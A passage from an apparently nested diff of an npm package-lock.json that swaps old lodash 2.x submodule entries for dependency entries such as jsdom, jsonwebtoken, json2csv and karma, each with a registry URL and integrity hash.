++ "array-back": "^6.2.2",
++ "lodash.omit": "^4.5.0",
++ "lodash.pick": "^4.4.0",
++ "reduce-extract": "^1.0.0",
++ "sort-array": "^4.1.4",
++ "test-value": "^3.0.0"
+ }
+ },
+- "lodash._slice": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._slice/-/lodash._slice-2.4.1.tgz",
+- "integrity": "sha1-dFz0GlNZexj2iImFREBe+isG2Q8="
+- },
+- "lodash.assign": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.assign/-/lodash.assign-2.4.1.tgz",
+- "integrity": "sha1-hMOVlt1xGBqXsGUpE6fJZ15Jsao=",
++ "jsdoc-to-markdown": {
++ "version": "7.1.1",
++ "resolved": "https://registry.npmjs.org/jsdoc-to-markdown/-/jsdoc-to-markdown-7.1.1.tgz",
++ "integrity": "sha512-CI86d63xAVNO+ENumWwmJ034lYe5iGU5GwjtTA11EuphP9tpnoi4hrKgR/J8uME0D+o4KUpVfwX1fjZhc8dEtg==",
++ "dev": true,
+ "requires": {
+- "lodash._basecreatecallback": "~2.4.1",
+- "lodash._objecttypes": "~2.4.1",
+- "lodash.keys": "~2.4.1"
++ "array-back": "^6.2.2",
++ "command-line-tool": "^0.8.0",
++ "config-master": "^3.1.0",
++ "dmd": "^6.1.0",
++ "jsdoc-api": "^7.1.1",
++ "jsdoc-parse": "^6.1.0",
++ "walk-back": "^5.1.0"
+ }
+ },
+- "lodash.bind": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.bind/-/lodash.bind-2.4.1.tgz",
+- "integrity": "sha1-XRn6AFyMTSNvr0dCx7eh/Kvikmc=",
++ "jsdom": {
++ "version": "19.0.0",
++ "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-19.0.0.tgz",
++ "integrity": "sha512-RYAyjCbxy/vri/CfnjUWJQQtZ3LKlLnDqj+9XLNnJPgEGeirZs3hllKR20re8LUZ6o1b1X4Jat+Qd26zmP41+A==",
++ "dev": true,
+ "requires": {
+- "lodash._createwrapper": "~2.4.1",
+- "lodash._slice": "~2.4.1"
++ "abab": "^2.0.5",
++ "acorn": "^8.5.0",
++ "acorn-globals": "^6.0.0",
++ "cssom": "^0.5.0",
++ "cssstyle": "^2.3.0",
++ "data-urls": "^3.0.1",
++ "decimal.js": "^10.3.1",
++ "domexception": "^4.0.0",
++ "escodegen": "^2.0.0",
++ "form-data": "^4.0.0",
++ "html-encoding-sniffer": "^3.0.0",
++ "http-proxy-agent": "^5.0.0",
++ "https-proxy-agent": "^5.0.0",
++ "is-potential-custom-element-name": "^1.0.1",
++ "nwsapi": "^2.2.0",
++ "parse5": "6.0.1",
++ "saxes": "^5.0.1",
++ "symbol-tree": "^3.2.4",
++ "tough-cookie": "^4.0.0",
++ "w3c-hr-time": "^1.0.2",
++ "w3c-xmlserializer": "^3.0.0",
++ "webidl-conversions": "^7.0.0",
++ "whatwg-encoding": "^2.0.0",
++ "whatwg-mimetype": "^3.0.0",
++ "whatwg-url": "^10.0.0",
++ "ws": "^8.2.3",
++ "xml-name-validator": "^4.0.0"
++ },
++ "dependencies": {
++ "@tootallnate/once": {
++ "version": "2.0.0",
++ "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz",
++ "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==",
++ "dev": true
++ },
++ "acorn": {
++ "version": "8.7.0",
++ "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.7.0.tgz",
++ "integrity": "sha512-V/LGr1APy+PXIwKebEWrkZPwoeoF+w1jiOBUmuxuiUIaOHtob8Qc9BTrYo7VuI5fR8tqsy+buA2WFooR5olqvQ==",
++ "dev": true
++ },
++ "form-data": {
++ "version": "4.0.0",
++ "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz",
++ "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==",
++ "dev": true,
++ "requires": {
++ "asynckit": "^0.4.0",
++ "combined-stream": "^1.0.8",
++ "mime-types": "^2.1.12"
++ }
++ },
++ "http-proxy-agent": {
++ "version": "5.0.0",
++ "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz",
++ "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==",
++ "dev": true,
++ "requires": {
++ "@tootallnate/once": "2",
++ "agent-base": "6",
++ "debug": "4"
++ }
++ },
++ "tr46": {
++ "version": "3.0.0",
++ "resolved": "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz",
++ "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==",
++ "dev": true,
++ "requires": {
++ "punycode": "^2.1.1"
++ }
++ },
++ "whatwg-url": {
++ "version": "10.0.0",
++ "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-10.0.0.tgz",
++ "integrity": "sha512-CLxxCmdUby142H5FZzn4D8ikO1cmypvXVQktsgosNy4a4BHrDHeciBBGZhb0bNoR5/MltoCatso+vFjjGx8t0w==",
++ "dev": true,
++ "requires": {
++ "tr46": "^3.0.0",
++ "webidl-conversions": "^7.0.0"
++ }
++ }
+ }
+ },
+- "lodash.camelcase": {
+- "version": "4.3.0",
+- "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz",
+- "integrity": "sha1-soqmKIorn8ZRA1x3EfZathkDMaY="
++ "jsdom-global": {
++ "version": "3.0.2",
++ "resolved": "https://registry.npmjs.org/jsdom-global/-/jsdom-global-3.0.2.tgz",
++ "integrity": "sha1-a9KZwTsMRiay2iwDk81DhdYGrLk=",
++ "dev": true,
++ "requires": {}
+ },
+- "lodash.clonedeep": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-2.4.1.tgz",
+- "integrity": "sha1-8pIDtAsS/uCkXTYxZIJZvrq8eGg=",
++ "jsesc": {
++ "version": "2.5.2",
++ "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz",
++ "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA=="
++ },
++ "json-bigint": {
++ "version": "1.0.0",
++ "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-1.0.0.tgz",
++ "integrity": "sha512-SiPv/8VpZuWbvLSMtTDU8hEfrZWg/mH/nV/b4o0CYbSxu1UIQPLdwKOCIyLQX+VIPO5vrLX3i8qtqFyhdPSUSQ==",
+ "requires": {
+- "lodash._baseclone": "~2.4.1",
+- "lodash._basecreatecallback": "~2.4.1"
++ "bignumber.js": "^9.0.0"
+ }
+ },
+- "lodash.debounce": {
+- "version": "4.0.8",
+- "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz",
+- "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168="
++ "json-parse-better-errors": {
++ "version": "1.0.2",
++ "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz",
++ "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw=="
+ },
+- "lodash.defaults": {
+- "version": "4.2.0",
+- "resolved": "https://registry.npmjs.org/lodash.defaults/-/lodash.defaults-4.2.0.tgz",
+- "integrity": "sha1-0JF4cW/+pN3p5ft7N/bwgCJ0WAw="
++ "json-parse-even-better-errors": {
++ "version": "2.3.1",
++ "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz",
++ "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==",
++ "dev": true
+ },
+- "lodash.difference": {
+- "version": "4.5.0",
+- "resolved": "https://registry.npmjs.org/lodash.difference/-/lodash.difference-4.5.0.tgz",
+- "integrity": "sha1-nMtOUF1Ia5FlE0V3KIWi3yf9AXw="
++ "json-schema": {
++ "version": "0.4.0",
++ "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz",
++ "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA=="
+ },
+- "lodash.flatten": {
+- "version": "4.4.0",
+- "resolved": "https://registry.npmjs.org/lodash.flatten/-/lodash.flatten-4.4.0.tgz",
+- "integrity": "sha1-8xwiIlqWMtK7+OSt2+8kCqdlph8="
++ "json-schema-traverse": {
++ "version": "0.4.1",
++ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
++ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="
+ },
+- "lodash.flattendeep": {
+- "version": "4.4.0",
+- "resolved": "https://registry.npmjs.org/lodash.flattendeep/-/lodash.flattendeep-4.4.0.tgz",
+- "integrity": "sha1-+wMJF/hqMTTlvJvsDWngAT3f7bI=",
++ "json-stable-stringify-without-jsonify": {
++ "version": "1.0.1",
++ "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz",
++ "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=",
+ "dev": true
+ },
+- "lodash.foreach": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.foreach/-/lodash.foreach-2.4.1.tgz",
+- "integrity": "sha1-/j/Do0yGyUyrb5UiVgKCdB4BYwk=",
++ "json-stringify-safe": {
++ "version": "5.0.1",
++ "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz",
++ "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus="
++ },
++ "json2csv": {
++ "version": "4.5.4",
++ "resolved": "https://registry.npmjs.org/json2csv/-/json2csv-4.5.4.tgz",
++ "integrity": "sha512-YxBhY4Lmn8IvVZ36nqg5omxneLy9JlorkqW1j/EDCeqvmi+CQ4uM+wsvXlcIqvGDewIPXMC/O/oF8DX9EH5aoA==",
+ "requires": {
+- "lodash._basecreatecallback": "~2.4.1",
+- "lodash.forown": "~2.4.1"
++ "commander": "^2.15.1",
++ "jsonparse": "^1.3.1",
++ "lodash.get": "^4.4.2"
++ },
++ "dependencies": {
++ "commander": {
++ "version": "2.20.3",
++ "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
++ "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="
++ }
+ }
+ },
+- "lodash.forown": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.forown/-/lodash.forown-2.4.1.tgz",
+- "integrity": "sha1-eLQer+FAX6lmRZ6kGT/VAtCEUks=",
++ "json5": {
++ "version": "2.2.0",
++ "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.0.tgz",
++ "integrity": "sha512-f+8cldu7X/y7RAJurMEJmdoKXGB/X550w2Nr3tTbezL6RwEE/iMcm+tZnXeoZtKuOq6ft8+CqzEkrIgx1fPoQA==",
+ "requires": {
+- "lodash._basecreatecallback": "~2.4.1",
+- "lodash._objecttypes": "~2.4.1",
+- "lodash.keys": "~2.4.1"
++ "minimist": "^1.2.5"
++ },
++ "dependencies": {
++ "minimist": {
++ "version": "1.2.5",
++ "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
++ "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw=="
++ }
+ }
+ },
+- "lodash.frompairs": {
+- "version": "4.0.1",
+- "resolved": "https://registry.npmjs.org/lodash.frompairs/-/lodash.frompairs-4.0.1.tgz",
+- "integrity": "sha1-vE5SB/onV8E25XNhTpZkUGsrG9I="
+- },
+- "lodash.get": {
+- "version": "4.4.2",
+- "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz",
+- "integrity": "sha1-LRd/ZS+jHpObRDjVNBSZ36OCXpk="
+- },
+- "lodash.has": {
+- "version": "4.5.2",
+- "resolved": "https://registry.npmjs.org/lodash.has/-/lodash.has-4.5.2.tgz",
+- "integrity": "sha1-0Z9NwQlQWMzL4rDN9O4P5Ko3yGI=",
+- "dev": true
+- },
+- "lodash.identity": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.identity/-/lodash.identity-2.4.1.tgz",
+- "integrity": "sha1-ZpTP+mX++TH3wxzobHRZfPVg9PE="
+- },
+- "lodash.includes": {
+- "version": "4.3.0",
+- "resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz",
+- "integrity": "sha1-YLuYqHy5I8aMoeUTJUgzFISfVT8="
+- },
+- "lodash.isarguments": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/lodash.isarguments/-/lodash.isarguments-3.1.0.tgz",
+- "integrity": "sha1-L1c9hcaiQon/AGY7SRwdM4/zRYo="
+- },
+- "lodash.isarray": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.isarray/-/lodash.isarray-2.4.1.tgz",
+- "integrity": "sha1-tSoybB9i9tfac6MdVAHfbvRPD6E=",
++ "jsonfile": {
++ "version": "6.1.0",
++ "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz",
++ "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==",
+ "requires": {
+- "lodash._isnative": "~2.4.1"
++ "graceful-fs": "^4.1.6",
++ "universalify": "^2.0.0"
+ }
+ },
+- "lodash.isboolean": {
+- "version": "3.0.3",
+- "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz",
+- "integrity": "sha1-bC4XHbKiV82WgC/UOwGyDV9YcPY="
+- },
+- "lodash.isequal": {
+- "version": "4.5.0",
+- "resolved": "https://registry.npmjs.org/lodash.isequal/-/lodash.isequal-4.5.0.tgz",
+- "integrity": "sha1-QVxEePK8wwEgwizhDtMib30+GOA="
+- },
+- "lodash.isfunction": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.isfunction/-/lodash.isfunction-2.4.1.tgz",
+- "integrity": "sha1-LP1XXHPkmKtX4xm3f6Aq3vE6lNE="
+- },
+- "lodash.isinteger": {
+- "version": "4.0.4",
+- "resolved": "https://registry.npmjs.org/lodash.isinteger/-/lodash.isinteger-4.0.4.tgz",
+- "integrity": "sha1-YZwK89A/iwTDH1iChAt3sRzWg0M="
+- },
+- "lodash.isnumber": {
+- "version": "3.0.3",
+- "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz",
+- "integrity": "sha1-POdoEMWSjQM1IwGsKHMX8RwLH/w="
++ "jsonparse": {
++ "version": "1.3.1",
++ "resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz",
++ "integrity": "sha1-P02uSpH6wxX3EGL4UhzCOfE2YoA="
+ },
+- "lodash.isobject": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.isobject/-/lodash.isobject-2.4.1.tgz",
+- "integrity": "sha1-Wi5H/mmVPx7mMafrof5k0tBlWPU=",
++ "JSONStream": {
++ "version": "1.3.5",
++ "resolved": "https://registry.npmjs.org/JSONStream/-/JSONStream-1.3.5.tgz",
++ "integrity": "sha512-E+iruNOY8VV9s4JEbe1aNEm6MiszPRr/UfcHMz0TQh1BXSxHK+ASV1R6W4HpjBhSeS+54PIsAMCBmwD06LLsqQ==",
+ "requires": {
+- "lodash._objecttypes": "~2.4.1"
++ "jsonparse": "^1.2.0",
++ "through": ">=2.2.7 <3"
+ }
+ },
+- "lodash.isplainobject": {
+- "version": "4.0.6",
+- "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz",
+- "integrity": "sha1-fFJqUtibRcRcxpC4gWO+BJf1UMs="
+- },
+- "lodash.isstring": {
+- "version": "4.0.1",
+- "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz",
+- "integrity": "sha1-1SfftUVuynzJu5XV2ur4i6VKVFE="
+- },
+- "lodash.keys": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.keys/-/lodash.keys-2.4.1.tgz",
+- "integrity": "sha1-SN6kbfj/djKxDXBrissmWR4rNyc=",
++ "jsonwebtoken": {
++ "version": "8.5.1",
++ "resolved": "https://registry.npmjs.org/jsonwebtoken/-/jsonwebtoken-8.5.1.tgz",
++ "integrity": "sha512-XjwVfRS6jTMsqYs0EsuJ4LGxXV14zQybNd4L2r0UvbVnSF9Af8x7p5MzbJ90Ioz/9TI41/hTCvznF/loiSzn8w==",
+ "requires": {
+- "lodash._isnative": "~2.4.1",
+- "lodash._shimkeys": "~2.4.1",
+- "lodash.isobject": "~2.4.1"
++ "jws": "^3.2.2",
++ "lodash.includes": "^4.3.0",
++ "lodash.isboolean": "^3.0.3",
++ "lodash.isinteger": "^4.0.4",
++ "lodash.isnumber": "^3.0.3",
++ "lodash.isplainobject": "^4.0.6",
++ "lodash.isstring": "^4.0.1",
++ "lodash.once": "^4.0.0",
++ "ms": "^2.1.1",
++ "semver": "^5.6.0"
++ },
++ "dependencies": {
++ "jwa": {
++ "version": "1.4.1",
++ "resolved": "https://registry.npmjs.org/jwa/-/jwa-1.4.1.tgz",
++ "integrity": "sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA==",
++ "requires": {
++ "buffer-equal-constant-time": "1.0.1",
++ "ecdsa-sig-formatter": "1.0.11",
++ "safe-buffer": "^5.0.1"
++ }
++ },
++ "jws": {
++ "version": "3.2.2",
++ "resolved": "https://registry.npmjs.org/jws/-/jws-3.2.2.tgz",
++ "integrity": "sha512-YHlZCB6lMTllWDtSPHz/ZXTsi8S00usEV6v1tjq8tOUZzw7DpSDWVXjXDre6ed1w/pd495ODpHZYSdkRTsa0HA==",
++ "requires": {
++ "jwa": "^1.4.1",
++ "safe-buffer": "^5.0.1"
++ }
++ },
++ "semver": {
++ "version": "5.7.1",
++ "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
++ "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
++ }
+ }
+ },
+- "lodash.memoize": {
+- "version": "4.1.2",
+- "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz",
+- "integrity": "sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=",
+- "dev": true
+- },
+- "lodash.merge": {
+- "version": "4.6.2",
+- "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz",
+- "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==",
+- "dev": true
+- },
+- "lodash.noop": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.noop/-/lodash.noop-2.4.1.tgz",
+- "integrity": "sha1-T7VPgWZS5a4Q6PcvcXo4jHMmU4o="
+- },
+- "lodash.omit": {
+- "version": "4.5.0",
+- "resolved": "https://registry.npmjs.org/lodash.omit/-/lodash.omit-4.5.0.tgz",
+- "integrity": "sha1-brGa5aHuHdnfC5aeZs4Lf6MLXmA=",
+- "dev": true
+- },
+- "lodash.once": {
+- "version": "4.1.1",
+- "resolved": "https://registry.npmjs.org/lodash.once/-/lodash.once-4.1.1.tgz",
+- "integrity": "sha1-DdOXEhPHxW34gJd9UEyI+0cal6w="
+- },
+- "lodash.padend": {
+- "version": "4.6.1",
+- "resolved": "https://registry.npmjs.org/lodash.padend/-/lodash.padend-4.6.1.tgz",
+- "integrity": "sha1-U8y6BH0G4VjTEfRdpiX05J5vFm4=",
+- "dev": true
+- },
+- "lodash.pick": {
+- "version": "4.4.0",
+- "resolved": "https://registry.npmjs.org/lodash.pick/-/lodash.pick-4.4.0.tgz",
+- "integrity": "sha1-UvBWEP/53tQiYRRB7R/BI6AwAbM=",
+- "dev": true
+- },
+- "lodash.set": {
+- "version": "4.3.2",
+- "resolved": "https://registry.npmjs.org/lodash.set/-/lodash.set-4.3.2.tgz",
+- "integrity": "sha1-2HV7HagH3eJIFrDWqEvqGnYjCyM="
+- },
+- "lodash.sortby": {
+- "version": "4.7.0",
+- "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz",
+- "integrity": "sha1-7dFMgk4sycHgsKG0K7UhBRakJDg=",
+- "dev": true
+- },
+- "lodash.support": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.support/-/lodash.support-2.4.1.tgz",
+- "integrity": "sha1-Mg4LZwMWc8KNeiu12eAzGkUkBRU=",
++ "jsprim": {
++ "version": "1.4.2",
++ "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.2.tgz",
++ "integrity": "sha512-P2bSOMAc/ciLz6DzgjVlGJP9+BrJWu5UDGK70C2iweC5QBIeFf0ZXRvGjEj2uYgrY2MkAAhsSWHDWlFtEroZWw==",
+ "requires": {
+- "lodash._isnative": "~2.4.1"
++ "assert-plus": "1.0.0",
++ "extsprintf": "1.3.0",
++ "json-schema": "0.4.0",
++ "verror": "1.10.0"
++ },
++ "dependencies": {
++ "assert-plus": {
++ "version": "1.0.0",
++ "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz",
++ "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU="
++ }
+ }
+ },
+- "lodash.template": {
+- "version": "4.5.0",
+- "resolved": "https://registry.npmjs.org/lodash.template/-/lodash.template-4.5.0.tgz",
+- "integrity": "sha512-84vYFxIkmidUiFxidA/KjjH9pAycqW+h980j7Fuz5qxRtO9pgB7MDFTdys1N7A5mcucRiDyEq4fusljItR1T/A==",
+- "dev": true,
++ "jstransformer": {
++ "version": "1.0.0",
++ "resolved": "https://registry.npmjs.org/jstransformer/-/jstransformer-1.0.0.tgz",
++ "integrity": "sha1-7Yvwkh4vPx7U1cGkT2hwntJHIsM=",
+ "requires": {
+- "lodash._reinterpolate": "^3.0.0",
+- "lodash.templatesettings": "^4.0.0"
++ "is-promise": "^2.0.0",
++ "promise": "^7.0.1"
+ }
+ },
+- "lodash.templatesettings": {
+- "version": "4.2.0",
+- "resolved": "https://registry.npmjs.org/lodash.templatesettings/-/lodash.templatesettings-4.2.0.tgz",
+- "integrity": "sha512-stgLz+i3Aa9mZgnjr/O+v9ruKZsPsndy7qPZOchbqk2cnTU1ZaldKK+v7m54WoKIyxiuMZTKT2H81F8BeAc3ZQ==",
++ "jsx-ast-utils": {
++ "version": "3.2.1",
++ "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.2.1.tgz",
++ "integrity": "sha512-uP5vu8xfy2F9A6LGC22KO7e2/vGTS1MhP+18f++ZNlf0Ohaxbc9nIEwHAsejlJKyzfZzU5UIhe5ItYkitcZnZA==",
+ "dev": true,
+ "requires": {
+- "lodash._reinterpolate": "^3.0.0"
++ "array-includes": "^3.1.3",
++ "object.assign": "^4.1.2"
+ }
+ },
+- "lodash.throttle": {
+- "version": "4.1.1",
+- "resolved": "https://registry.npmjs.org/lodash.throttle/-/lodash.throttle-4.1.1.tgz",
+- "integrity": "sha1-wj6RtxAkKscMN/HhzaknTMOb8vQ="
+- },
+- "lodash.union": {
+- "version": "4.6.0",
+- "resolved": "https://registry.npmjs.org/lodash.union/-/lodash.union-4.6.0.tgz",
+- "integrity": "sha1-SLtQiECfFvGCFmZkHETdGqrjzYg="
+- },
+- "lodash.uniq": {
+- "version": "4.5.0",
+- "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz",
+- "integrity": "sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=",
++ "just-extend": {
++ "version": "4.2.1",
++ "resolved": "https://registry.npmjs.org/just-extend/-/just-extend-4.2.1.tgz",
++ "integrity": "sha512-g3UB796vUFIY90VIv/WX3L2c8CS2MdWUww3CNrYmqza1Fg0DURc2K/O4YrnklBdQarSJ/y8JnJYDGc+1iumQjg==",
+ "dev": true
+ },
+- "log": {
+- "version": "6.3.1",
+- "resolved": "https://registry.npmjs.org/log/-/log-6.3.1.tgz",
+- "integrity": "sha512-McG47rJEWOkXTDioZzQNydAVvZNeEkSyLJ1VWkFwfW+o1knW+QSi8D1KjPn/TnctV+q99lkvJNe1f0E1IjfY2A==",
++ "jwa": {
++ "version": "2.0.0",
++ "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.0.tgz",
++ "integrity": "sha512-jrZ2Qx916EA+fq9cEAeCROWPTfCwi1IVHqT2tapuqLEVVDKFDENFw1oL+MwrTvH6msKxsd1YTDVw6uKEcsrLEA==",
+ "requires": {
+- "d": "^1.0.1",
+- "duration": "^0.2.2",
+- "es5-ext": "^0.10.53",
+- "event-emitter": "^0.3.5",
+- "sprintf-kit": "^2.0.1",
+- "type": "^2.5.0",
+- "uni-global": "^1.0.0"
++ "buffer-equal-constant-time": "1.0.1",
++ "ecdsa-sig-formatter": "1.0.11",
++ "safe-buffer": "^5.0.1"
+ }
+ },
+- "log-driver": {
+- "version": "1.2.7",
+- "resolved": "https://registry.npmjs.org/log-driver/-/log-driver-1.2.7.tgz",
+- "integrity": "sha512-U7KCmLdqsGHBLeWqYlFA0V0Sl6P08EE1ZrmA9cxjUE0WVqT9qnyVDPz1kzpFEP0jdJuFnasWIfSd7fsaNXkpbg=="
++ "jws": {
++ "version": "4.0.0",
++ "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.0.tgz",
++ "integrity": "sha512-KDncfTmOZoOMTFG4mBlG0qUIOlc03fmzH+ru6RgYVZhPkyiy/92Owlt/8UEN+a4TXR1FQetfIpJE8ApdvdVxTg==",
++ "requires": {
++ "jwa": "^2.0.0",
++ "safe-buffer": "^5.0.1"
++ }
+ },
+- "log-symbols": {
+- "version": "4.1.0",
+- "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz",
+- "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==",
++ "kareem": {
++ "version": "2.3.2",
++ "resolved": "https://registry.npmjs.org/kareem/-/kareem-2.3.2.tgz",
++ "integrity": "sha512-STHz9P7X2L4Kwn72fA4rGyqyXdmrMSdxqHx9IXon/FXluXieaFA6KJ2upcHAHxQPQ0LeM/OjLrhFxifHewOALQ=="
++ },
++ "karma": {
++ "version": "6.3.17",
++ "resolved": "https://registry.npmjs.org/karma/-/karma-6.3.17.tgz",
++ "integrity": "sha512-2TfjHwrRExC8yHoWlPBULyaLwAFmXmxQrcuFImt/JsAsSZu1uOWTZ1ZsWjqQtWpHLiatJOHL5jFjXSJIgCd01g==",
+ "dev": true,
+ "requires": {
+- "chalk": "^4.1.0",
+- "is-unicode-supported": "^0.1.0"
++ "@colors/colors": "1.5.0",
++ "body-parser": "^1.19.0",
++ "braces": "^3.0.2",
++ "chokidar": "^3.5.1",
++ "connect": "^3.7.0",
++ "di": "^0.0.1",
++ "dom-serialize": "^2.2.1",
++ "glob": "^7.1.7",
++ "graceful-fs": "^4.2.6",
++ "http-proxy": "^1.18.1",
++ "isbinaryfile": "^4.0.8",
++ "lodash": "^4.17.21",
++ "log4js": "^6.4.1",
++ "mime": "^2.5.2",
++ "minimatch": "^3.0.4",
++ "mkdirp": "^0.5.5",
++ "qjobs": "^1.2.0",
++ "range-parser": "^1.2.1",
++ "rimraf": "^3.0.2",
++ "socket.io": "^4.2.0",
++ "source-map": "^0.6.1",
++ "tmp": "^0.2.1",
++ "ua-parser-js": "^0.7.30",
++ "yargs": "^16.1.1"
+ },
+ "dependencies": {
+- "ansi-styles": {
+- "version": "4.3.0",
+- "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+- "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
++ "base64id": {
++ "version": "2.0.0",
++ "resolved": "https://registry.npmjs.org/base64id/-/base64id-2.0.0.tgz",
